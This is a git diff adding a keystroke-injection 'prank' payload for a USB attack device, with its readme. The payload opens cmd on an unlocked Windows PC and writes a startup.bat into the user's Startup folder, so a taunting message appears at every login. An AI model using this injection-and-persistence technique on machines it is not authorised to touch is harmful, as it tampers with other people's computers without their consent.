diff --git a/payloads/library/prank/Startup-Message/payload.txt b/payloads/library/prank/Startup-Message/payload.txt new file mode 100644 index 00000000..6412a072 --- /dev/null +++ b/payloads/library/prank/Startup-Message/payload.txt @@ -0,0 +1,30 @@ +#!/bin/bash +#Title: Startup-Message +#Author: By MikeeU +#Target: Windows +#Tested on: Windows 10 +#Version: 1.0 + +#Setting up(Magenta) +LED SETUP + + +ATTACKMODE HID + +#Beginning HID Attack(Yellow) +LED ATTACK + +#Running cmd to create file in startup directory +RUN WIN cmd +Q STRING "cd C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" +Q ENTER +Q STRING "echo @echo off > startup.bat" +Q ENTER +Q STRING "echo echo I will lock my PC next time! >> startup.bat" +Q ENTER +Q STRING "echo pause >> startup.bat" +Q ENTER +Q ALT F4 + +#Fast green followed by Solid -> Finished +LED FINISH \ No newline at end of file diff --git a/payloads/library/prank/Startup-Message/readme.md b/payloads/library/prank/Startup-Message/readme.md new file mode 100644 index 00000000..75cc860c --- /dev/null +++ b/payloads/library/prank/Startup-Message/readme.md @@ -0,0 +1,22 @@ +# Startup-Message +by KMikeeU + +* Target: Windows +* Tested on: Windows 10 +* Should work on: Windows XP, Vista, 7, 8(Desktop), 10 +* Version: 1.0 + +## Description +This little __HID__ Attack, will use cmd to create a file in the startup directory of the logged in user on the target PC. Which will display a message set by the attacker on logging in. + +## Configuration +You can edit the script to change the name of the file and the text that will be displayed. +Defaults: startup.bat; I will lock my PC next time! + +## Status +| Status | Color | Description | +|------|------|------| +|SETUP|Magenta|Setting Attack mode| +|ATTACK|Slow Yellow|Injecting keystrokes| +|FINISH|Fast Green followed by solid|Payload has finished!| +